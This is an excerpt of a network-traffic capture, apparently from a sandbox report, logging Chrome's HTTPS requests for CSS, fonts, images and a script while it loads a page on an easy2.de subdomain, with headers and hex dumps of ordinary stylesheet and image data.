2025-01-14 14:55:59 UTC	12385	IN	Data Raw: 2f 2a 20 6d 61 74 68 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 4f 70 65 6e 20 53 61 6e 73 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 66 6f 6e 74 2d 73 74 72 65 74 63 68 3a 20 31 30 30 25 3b 0a 20 20 66 6f 6e 74 2d 64 69 73 70 6c 61 79 3a 20 73 77 61 70 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 62 75 6e 6e 79 2e 6e 65 74 2f 6f 70 65 6e 2d 73 61 6e 73 2f 66 69 6c 65 73 2f 6f 70 65 6e 2d 73 61 6e 73 2d 6d 61 74 68 2d 34 30 30 2d 6e 6f 72 6d 61 6c 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 2c 20 75 72 6c 28 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 Data Ascii: /* math */@font-face { font-family: 'Open Sans'; font-style: normal; font-weight: 400; font-stretch: 100%; font-display: swap; src: url(https://fonts.bunny.net/open-sans/files/open-sans-math-400-normal.woff2) format('woff2'), url(https://font

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49834	143.204.98.14	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:55:59 UTC	592	OUT	GET /styles/platform.client.min.css?v=1040 HTTP/1.1 Host: static.web-repository.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://mighty-calm-plum-toucan.easy2.de/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:55:59 UTC	539	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 555675 Connection: close Date: Wed, 08 Jan 2025 07:24:49 GMT Last-Modified: Fri, 13 Dec 2024 09:53:23 GMT ETag: "d255bef9b38f06b5f5399a70a0895a51" x-amz-server-side-encryption: AES256 Cache-Control: public, max-age=31536000 Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 a148356b14492df0e216c234ac2c2308.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA50-C1 X-Amz-Cf-Id: ZIboY-i9-ccUnE1yMr9_6VydXCnI2UbgFQh_WgRVWnPK_S9z6nFR9w== Age: 545471
2025-01-14 14:55:59 UTC	15845	IN	Data Raw: 2f 2a 21 20 45 72 69 63 20 4d 65 79 65 72 27 73 20 52 65 73 65 74 20 43 53 53 20 76 32 2e 30 20 2d 20 68 74 74 70 3a 2f 2f 63 73 73 72 65 73 65 74 2e 63 6f 6d 20 2a 2f 61 2c 61 62 62 72 2c 61 63 72 6f 6e 79 6d 2c 61 64 64 72 65 73 73 2c 61 70 70 6c 65 74 2c 61 72 74 69 63 6c 65 2c 61 73 69 64 65 2c 61 75 64 69 6f 2c 62 69 67 2c 62 6c 6f 63 6b 71 75 6f 74 65 2c 62 6f 64 79 2c 63 61 6e 76 61 73 2c 63 61 70 74 69 6f 6e 2c 63 65 6e 74 65 72 2c 63 69 74 65 2c 63 6f 64 65 2c 64 64 2c 64 65 6c 2c 64 65 74 61 69 6c 73 2c 64 66 6e 2c 64 69 76 2c 64 6c 2c 64 74 2c 65 6d 62 65 64 2c 66 69 65 6c 64 73 65 74 2c 66 69 67 63 61 70 74 69 6f 6e 2c 66 69 67 75 72 65 2c 66 6f 6f 74 65 72 2c 66 6f 72 6d 2c 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 65 61 64 65 Data Ascii: /! Eric Meyer's Reset CSS v2.0 - http://cssreset.com /a,abbr,acronym,address,applet,article,aside,audio,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,heade
2025-01-14 14:55:59 UTC	16384	IN	Data Raw: 6e 65 2d 61 6c 74 2d 73 6c 61 73 68 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 6d 69 63 72 6f 70 68 6f 6e 65 2d 6c 69 6e 65 73 2d 73 6c 61 73 68 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 35 33 39 22 7d 2e 66 61 2d 62 72 69 64 67 65 2d 63 69 72 63 6c 65 2d 63 68 65 63 6b 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 34 63 39 22 7d 2e 66 61 2d 70 75 6d 70 2d 6d 65 64 69 63 61 6c 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 36 61 22 7d 2e 66 61 2d 66 69 6e 67 65 72 70 72 69 6e 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 35 37 37 22 7d 2e 66 61 2d 68 61 6e 64 2d 70 6f 69 6e 74 2d 72 69 67 68 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 61 34 22 7d 2e 66 61 2d 6d 61 67 6e 69 66 79 69 6e 67 2d Data Ascii: ne-alt-slash:before,.fa-microphone-lines-slash:before{content:"\f539"}.fa-bridge-circle-check:before{content:"\e4c9"}.fa-pump-medical:before{content:"\e06a"}.fa-fingerprint:before{content:"\f577"}.fa-hand-point-right:before{content:"\f0a4"}.fa-magnifying-
2025-01-14 14:55:59 UTC	16384	IN	Data Raw: 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 35 37 34 22 7d 2e 66 61 2d 77 69 66 69 2d 33 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 77 69 66 69 2d 73 74 72 6f 6e 67 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 77 69 66 69 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 65 62 22 7d 2e 66 61 2d 62 61 74 68 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 62 61 74 68 74 75 62 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 63 64 22 7d 2e 66 61 2d 75 6e 64 65 72 6c 69 6e 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 63 64 22 7d 2e 66 61 2d 75 73 65 72 2d 65 64 69 74 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 75 73 65 72 2d 70 65 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 34 66 66 22 7d 2e 66 61 2d 73 69 67 6e 61 74 75 72 Data Ascii: d:before{content:"\f574"}.fa-wifi-3:before,.fa-wifi-strong:before,.fa-wifi:before{content:"\f1eb"}.fa-bath:before,.fa-bathtub:before{content:"\f2cd"}.fa-underline:before{content:"\f0cd"}.fa-user-edit:before,.fa-user-pen:before{content:"\f4ff"}.fa-signatur
2025-01-14 14:55:59 UTC	16384	IN	Data Raw: 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 35 34 66 22 7d 2e 66 61 2d 66 6c 6f 70 70 79 2d 64 69 73 6b 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 73 61 76 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 63 37 22 7d 2e 66 61 2d 76 69 68 61 72 61 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 36 61 37 22 7d 2e 66 61 2d 62 61 6c 61 6e 63 65 2d 73 63 61 6c 65 2d 6c 65 66 74 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 73 63 61 6c 65 2d 75 6e 62 61 6c 61 6e 63 65 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 35 31 35 22 7d 2e 66 61 2d 73 6f 72 74 2d 61 73 63 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 73 6f 72 74 2d 75 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 64 65 22 7d 2e 66 61 2d 63 6f 6d 6d 65 6e 74 2d 64 6f 74 Data Ascii: efore{content:"\f54f"}.fa-floppy-disk:before,.fa-save:before{content:"\f0c7"}.fa-vihara:before{content:"\f6a7"}.fa-balance-scale-left:before,.fa-scale-unbalanced:before{content:"\f515"}.fa-sort-asc:before,.fa-sort-up:before{content:"\f0de"}.fa-comment-dot
2025-01-14 14:55:59 UTC	16384	IN	Data Raw: 2e 66 61 2d 68 65 61 72 74 2d 63 69 72 63 6c 65 2d 62 6f 6c 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 34 66 63 22 7d 2e 66 61 2d 66 61 78 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 61 63 22 7d 2e 66 61 2d 70 61 72 61 67 72 61 70 68 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 64 64 22 7d 2e 66 61 2d 63 68 65 63 6b 2d 74 6f 2d 73 6c 6f 74 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 76 6f 74 65 2d 79 65 61 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 37 37 32 22 7d 2e 66 61 2d 73 74 61 72 2d 68 61 6c 66 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 38 39 22 7d 2e 66 61 2d 62 6f 78 65 73 2d 61 6c 74 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 62 6f 78 65 73 2d 73 74 61 63 6b 65 64 3a 62 65 66 6f 72 Data Ascii: .fa-heart-circle-bolt:before{content:"\e4fc"}.fa-fax:before{content:"\f1ac"}.fa-paragraph:before{content:"\f1dd"}.fa-check-to-slot:before,.fa-vote-yea:before{content:"\f772"}.fa-star-half:before{content:"\f089"}.fa-boxes-alt:before,.fa-boxes-stacked:befor
2025-01-14 14:55:59 UTC	16384	IN	Data Raw: 22 5c 65 35 33 65 22 7d 2e 66 61 2d 6c 65 76 65 6c 2d 75 70 2d 61 6c 74 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 74 75 72 6e 2d 75 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 33 62 66 22 7d 2e 66 61 2d 73 72 2d 6f 6e 6c 79 2c 2e 66 61 2d 73 72 2d 6f 6e 6c 79 2d 66 6f 63 75 73 61 62 6c 65 3a 6e 6f 74 28 3a 66 6f 63 75 73 29 2c 2e 73 72 2d 6f 6e 6c 79 2c 2e 73 72 2d 6f 6e 6c 79 2d 66 6f 63 75 73 61 62 6c 65 3a 6e 6f 74 28 3a 66 6f 63 75 73 29 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 77 69 64 74 68 3a 31 70 78 3b 68 65 69 67 68 74 3a 31 70 78 3b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 2d 31 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 63 6c 69 70 3a 72 65 63 74 28 30 2c 30 2c 30 2c 30 29 3b 77 68 69 74 65 2d Data Ascii: "\e53e"}.fa-level-up-alt:before,.fa-turn-up:before{content:"\f3bf"}.fa-sr-only,.fa-sr-only-focusable:not(:focus),.sr-only,.sr-only-focusable:not(:focus){position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);white-
2025-01-14 14:55:59 UTC	16384	IN	Data Raw: 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 36 63 63 22 7d 2e 66 61 2d 73 6b 65 74 63 68 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 37 63 36 22 7d 2e 66 61 2d 79 61 6e 64 65 78 2d 69 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 34 31 34 22 7d 2e 66 61 2d 63 63 2d 61 6d 65 78 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 66 33 22 7d 2e 66 61 2d 75 62 65 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 34 30 32 22 7d 2e 66 61 2d 67 69 74 68 75 62 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 39 62 22 7d 2e 66 61 2d 70 68 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 34 35 37 22 7d 2e 66 61 2d 61 6c 69 70 61 79 3a 62 65 66 6f 72 65 7b 63 6f 6e Data Ascii: ore{content:"\f6cc"}.fa-sketch:before{content:"\f7c6"}.fa-yandex-international:before{content:"\f414"}.fa-cc-amex:before{content:"\f1f3"}.fa-uber:before{content:"\f402"}.fa-github:before{content:"\f09b"}.fa-php:before{content:"\f457"}.fa-alipay:before{con
2025-01-14 14:55:59 UTC	16384	IN	Data Raw: 6f 72 65 2c 2e 66 61 2e 66 61 2d 72 75 62 3a 62 65 66 6f 72 65 2c 2e 66 61 2e 66 61 2d 72 75 62 6c 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 35 38 22 7d 2e 66 61 2e 66 61 2d 6b 72 77 3a 62 65 66 6f 72 65 2c 2e 66 61 2e 66 61 2d 77 6f 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 35 39 22 7d 2e 66 61 2e 66 61 2d 62 69 74 63 6f 69 6e 2c 2e 66 61 2e 66 61 2d 62 74 63 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 36 20 42 72 61 6e 64 73 22 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 66 61 2e 66 61 2d 62 69 74 63 6f 69 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 35 61 22 7d 2e 66 61 2e 66 61 2d 66 69 6c 65 2d 74 65 78 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 Data Ascii: ore,.fa.fa-rub:before,.fa.fa-ruble:before{content:"\f158"}.fa.fa-krw:before,.fa.fa-won:before{content:"\f159"}.fa.fa-bitcoin,.fa.fa-btc{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-bitcoin:before{content:"\f15a"}.fa.fa-file-text:before{conte
2025-01-14 14:55:59 UTC	16384	IN	Data Raw: 2d 72 65 63 74 61 6e 67 6c 65 2d 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 34 31 30 22 7d 2e 66 61 2e 66 61 2d 62 61 6e 64 63 61 6d 70 2c 2e 66 61 2e 66 61 2d 65 65 72 63 61 73 74 2c 2e 66 61 2e 66 61 2d 65 74 73 79 2c 2e 66 61 2e 66 61 2d 67 72 61 76 2c 2e 66 61 2e 66 61 2d 69 6d 64 62 2c 2e 66 61 2e 66 61 2d 72 61 76 65 6c 72 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 36 20 42 72 61 6e 64 73 22 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 66 61 2e 66 61 2d 65 65 72 63 61 73 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 64 61 22 7d 2e 66 61 2e 66 61 2d 73 6e 6f 77 66 6c 61 6b 65 2d 6f 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 36 20 Data Ascii: -rectangle-o:before{content:"\f410"}.fa.fa-bandcamp,.fa.fa-eercast,.fa.fa-etsy,.fa.fa-grav,.fa.fa-imdb,.fa.fa-ravelry{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-eercast:before{content:"\f2da"}.fa.fa-snowflake-o{font-family:"Font Awesome 6
2025-01-14 14:55:59 UTC	16384	IN	Data Raw: 2d 63 75 72 73 6f 72 7b 77 69 64 74 68 3a 61 75 74 6f 3b 62 6f 72 64 65 72 3a 30 21 69 6d 70 6f 72 74 61 6e 74 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 37 65 37 7d 2e 63 6d 2d 66 61 74 2d 63 75 72 73 6f 72 20 64 69 76 2e 43 6f 64 65 4d 69 72 72 6f 72 2d 63 75 72 73 6f 72 73 7b 7a 2d 69 6e 64 65 78 3a 31 7d 2e 63 6d 2d 66 61 74 2d 63 75 72 73 6f 72 2d 6d 61 72 6b 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 32 30 2c 32 35 35 2c 32 30 2c 2e 35 29 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 3a 62 6c 69 6e 6b 20 31 2e 30 36 73 20 73 74 65 70 73 28 31 29 20 69 6e 66 69 6e 69 74 65 3b 2d 6d 6f 7a 2d 61 6e 69 6d 61 74 69 6f 6e 3a 62 6c 69 6e 6b 20 31 2e 30 36 73 20 73 74 65 70 73 28 31 29 20 69 6e 66 69 6e 69 74 65 3b 61 6e 69 6d Data Ascii: -cursor{width:auto;border:0!important;background:#7e7}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor-mark{background-color:rgba(20,255,20,.5);-webkit-animation:blink 1.06s steps(1) infinite;-moz-animation:blink 1.06s steps(1) infinite;anim

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49841	108.138.26.121	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:55:59 UTC	664	OUT	GET /s/87389112295097514/uploads/admin-files/EASY2_schwarz-4357245.png HTTP/1.1 Host: content.app-sources.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mighty-calm-plum-toucan.easy2.de/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:55:59 UTC	578	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 4282 Connection: close Date: Sat, 11 Jan 2025 14:18:27 GMT Last-Modified: Thu, 04 Jan 2024 08:34:08 GMT ETag: "30e4d3580e0120fd8f2076da8a0a9139" x-amz-server-side-encryption: AES256 Cache-Control: public; max-age=31536000 Expires: Tue, 24 Dec 2024 08:34:06 GMT Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 f3d57c6f1e03e389abd50b7f7535cee4.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P7 X-Amz-Cf-Id: o5lM_zHeP_GCydOECFC8DFclDH4KymAcPOlbDDB7kso1Bbdwh_5F5w== Age: 261453
2025-01-14 14:55:59 UTC	4282	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 88 00 00 00 23 08 06 00 00 00 4f 61 42 7f 00 00 10 81 49 44 41 54 78 da ed 9b 79 98 15 e5 95 c6 7f b7 fa 56 d3 40 a3 b8 21 62 07 14 57 0c e0 1a 22 10 37 c4 18 31 a9 51 31 a9 31 ea 24 ea 4c 8c 9a 28 46 07 b5 26 2e a3 b1 c6 88 5b d4 2c 26 b8 1b b5 24 06 53 c6 1d 31 08 2e 80 9a 80 8c 28 b2 19 10 45 16 65 ed e5 de fb 55 fe 38 a7 b8 d5 65 dd db b7 31 33 89 3c 9c e7 a9 87 db b5 7c db 79 cf 39 ef 39 df 47 8e cd 90 c0 73 f6 04 c6 02 c3 81 ae 40 0f 7d d4 02 bc 03 5c e6 fa e1 4c b6 ca e7 5e ac 1a c0 90 cb b8 bd 0e e8 02 ec 07 ec 0e ec a8 57 93 de df 98 d1 8e 15 78 4e dd d6 25 df 82 00 12 78 ce 4e c0 a0 f4 7d d7 0f 97 03 93 81 62 c6 67 f3 81 95 19 f7 8f 05 ce 0f 3c a7 f7 d6 65 ff a7 c5 82 ad 57 5d 55 80 04 9e Data Ascii: PNGIHDR#OaBIDATxyV@!bW"71Q11$L(F&.[,&$S1.(EeU8e13<\|y99Gs@}\L^WxN%xN}bg<eW]U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49842	108.138.26.121	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:55:59 UTC	683	OUT	GET /s/library/uploads/1_Pages/if_audio-video-outline-play_344692-4984036.png?format=webp HTTP/1.1 Host: content.app-sources.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mighty-calm-plum-toucan.easy2.de/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:56:00 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/webp Content-Length: 2112 Connection: close Date: Tue, 14 Jan 2025 14:56:00 GMT Last-Modified: Sun, 29 Oct 2023 20:01:01 GMT ETag: "d56231a7d62f05103d86a88008dd6291" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Server: AmazonS3 X-Cache: Miss from cloudfront Via: 1.1 0d78cc90106520d13c1b5c5b16dd8246.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P7 X-Amz-Cf-Id: NUl7E4s6Jyj75bCnTAI-k98b8qMv1L1EAM2wsl3GWjj96KfVSDl3yg==
2025-01-14 14:56:00 UTC	2112	IN	Data Raw: 52 49 46 46 38 08 00 00 57 45 42 50 56 50 38 58 0a 00 00 00 10 00 00 00 7f 00 00 7f 00 00 41 4c 50 48 cb 07 00 00 01 f0 86 fd ff f9 46 fe ff 3d 92 d4 9d a9 06 c7 ee 18 6b ef d8 b6 ed 45 ad b5 86 6b db b6 31 9e b5 77 74 74 6c bb e6 20 28 92 26 bd 5f c8 e3 f9 4a 9e 78 f3 52 44 4c 00 fd 7f 66 ca e0 cc a7 be fa 7b 5f a9 b3 3e 10 a8 77 96 ee fb eb cb 27 33 07 a7 fc 8b 88 1a b8 70 6d 29 c2 5c b2 e6 81 fe 51 86 bb 38 77 9d 07 92 dd 6b 73 2e 32 56 52 ee fa 00 94 0c fc 9d 9d 68 a2 be 9f d6 41 e1 da 4f 7a 1b c6 3e a3 00 ca 6f 9e 66 37 87 6d d6 21 84 ea 3f f2 dd 53 59 a3 bb 75 4c 8c 75 38 62 13 3b 76 1b 9d f5 f4 f2 a3 81 10 80 03 d3 6d 86 18 b6 07 d6 3d 3f 2c 1c 10 4b 61 8d 1b b8 e8 c7 5a 4b c0 ae c1 26 e8 b4 1a 96 cb 5f 1f 11 4d 52 a3 47 bd 59 69 05 58 d1 41 37 fb Data Ascii: RIFF8WEBPVP8XALPHF=kEk1wttl (&_JxRDLf{_>w'3pm)\Q8wks.2VRhAOz>of7m!?SYuLu8b;vm=?,KaZK&_MRGYiXA7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49837	143.204.98.14	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:55:59 UTC	589	OUT	GET /t/theme25/css/trunk.min.css?v=1040 HTTP/1.1 Host: static.web-repository.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://mighty-calm-plum-toucan.easy2.de/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:55:59 UTC	536	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 895 Connection: close Date: Wed, 08 Jan 2025 07:24:50 GMT Last-Modified: Fri, 13 Dec 2024 09:55:34 GMT ETag: "b09941727d4f6e3d145a9094683f2cb6" x-amz-server-side-encryption: AES256 Cache-Control: public, max-age=31536000 Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 f7b7cf90592cf6a380fd34cc45e9c4b4.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA50-C1 X-Amz-Cf-Id: JJLR5C9ZUhVmRW4567PqIQCtt18gG3M0oLMIKoYopDzuONjr2isxpg== Age: 545470
2025-01-14 14:55:59 UTC	895	IN	Data Raw: 2e 62 75 74 74 6f 6e 57 69 64 67 65 74 20 2e 74 68 65 6d 65 2d 62 75 74 74 6f 6e 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 33 35 70 78 3b 70 61 64 64 69 6e 67 3a 31 37 70 78 20 33 32 70 78 7d 2e 70 6f 72 74 66 6f 6c 69 6f 2d 6c 69 73 74 2d 77 72 61 70 70 65 72 20 2e 69 6d 61 67 65 2d 6f 76 65 72 6c 61 79 2c 2e 70 6f 72 74 66 6f 6c 69 6f 2d 77 69 64 67 65 74 2d 69 74 65 6d 2d 64 61 74 61 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 2e 38 29 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 31 30 32 35 70 78 29 7b 2e 67 72 69 64 2d 72 6f 77 3a 6e 6f 74 28 2e 67 72 69 64 2d 72 6f 77 2d 66 75 6c 6c 77 69 64 74 68 29 20 2e 73 69 6d 76 6f 6c 79 2d 6e 61 76 2d 61 72 72 6f 77 2e Data Ascii: .buttonWidget .theme-button{border-radius:35px;padding:17px 32px}.portfolio-list-wrapper .image-overlay,.portfolio-widget-item-data{background:rgba(255,255,255,.8)}@media screen and (min-width:1025px){.grid-row:not(.grid-row-fullwidth) .simvoly-nav-arrow.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49838	143.204.98.14	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:55:59 UTC	578	OUT	GET /scripts/platform.client.min.js?v=1040 HTTP/1.1 Host: static.web-repository.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://mighty-calm-plum-toucan.easy2.de/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:55:59 UTC	553	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 697434 Connection: close Date: Wed, 08 Jan 2025 05:55:39 GMT Last-Modified: Wed, 08 Jan 2025 05:51:14 GMT ETag: "18f3c3af10fc0813bb350b99e4c428d1" x-amz-server-side-encryption: AES256 Cache-Control: public, max-age=31536000 Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 cdb2dba3874dd4d7b53213b8c63a0996.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA50-C1 X-Amz-Cf-Id: P53XyV1dMNOCmViv-K7udOVN7fxZWQO0XmshwyE76ou5y8f6b3GL2w== Age: 550821
